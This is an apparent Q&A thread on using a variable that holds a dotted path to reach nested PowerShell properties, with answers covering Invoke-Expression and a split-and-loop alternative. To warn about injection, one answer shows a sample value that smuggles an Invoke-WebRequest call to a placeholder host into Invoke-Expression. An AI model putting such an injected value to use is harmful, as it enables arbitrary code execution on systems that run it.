6

Suppose I have the following:

(Get-Date).psobject.Properties.Name

I can use a variable to access properties:

$x = Name
(Get-Date).psobject.Properties.$x

However, I cannot use $x to "expand" nested properties:

$x = 'psobject.Properties.Name'
(Get-Date).$x

Because in this case Powershell is treating $x as if the entire string is a literal property name.

I've found plenty of resources on different ways to access properties with special characters, but none on how one might do the opposite.

Is this possible? If not, why?

4
  • iex "(Get-Date).$x" Commented Jun 18, 2018 at 21:22
  • Is that the only way? @BenH I thought using iex was bad practice. Commented Jun 18, 2018 at 21:25
  • 2
    When you reference $o.$x, it'll look for a member of $o with the same name as the value of $x - a datetime struct has no member called psobject.Properties.Name, so no that's not possible. You could chain them though: $x,$y,$z = 'psobject','Properties','Name'; (Get-Date).$x.$y.$z Commented Jun 18, 2018 at 21:37
  • 4
    There are probably other better ways to do it. iex is just easy because is solves the immediate problem. iex gets a lot of heat for the ability to take arbitrary code (e.g. from an iwr) and execute it. It opens up the dangers of unsantized inputs. Here's another solution with a loop. $a = (Get-Date); $b = 'psobject.Properties.Name'.split('.'); $b | % {if ($_ -ne $b[-1]) {$a = $a.$_} else {$a.$_}} Commented Jun 18, 2018 at 21:39

1 Answer 1

8

An interesting feature of PowerShell is that you can have properties that contain a period. For example:

[pscustomobject]@{'a.b.c' = 'example'}

This means that in your question since $x is string, (Get-Date).$x won't be parsed in dot notation as separate property names. But as (Get-Date).'psobject.Properties.Name'

The lazy way around this is to use Invoke-Expression to first build the string before evaluation.

$x = 'psobject.Properties.Name'
Invoke-Expression "(Get-Date).$x"

This is usually acceptable as long as the definition of $x is a static value that you defined. But if something else sets the definition of $x, you can get into a Bobby Tables situation with arbitrary code being executed. For example:

$x = 'psobject.Properties.Name; Invoke-WebRequest http://example.com/superdangerouscode!!!'
Invoke-Expression "(Get-Date).$x"

So if you can rely on your definition of $x to be in a dot delimited notation, you could use the split() method on dots to turn the value into an array to loop over.

$Date = (Get-Date)
$Properties = 'psobject.Properties.Name'.split('.')
$Properties | ForEach-Object {
    if ($_ -ne $Properties[-1]) {
        #iterate through properties
        $Date = $Date.$_
    } else {
        #Output last value
        $Date.$_
    }
}
Sign up to request clarification or add additional context in comments.

Comments

Your Answer

By clicking “Post Your Answer”, you agree to our terms of service and acknowledge you have read our privacy policy.

Start asking to get answers

Find the answer to your question by asking.

Ask question

Explore related questions

See similar questions with these tags.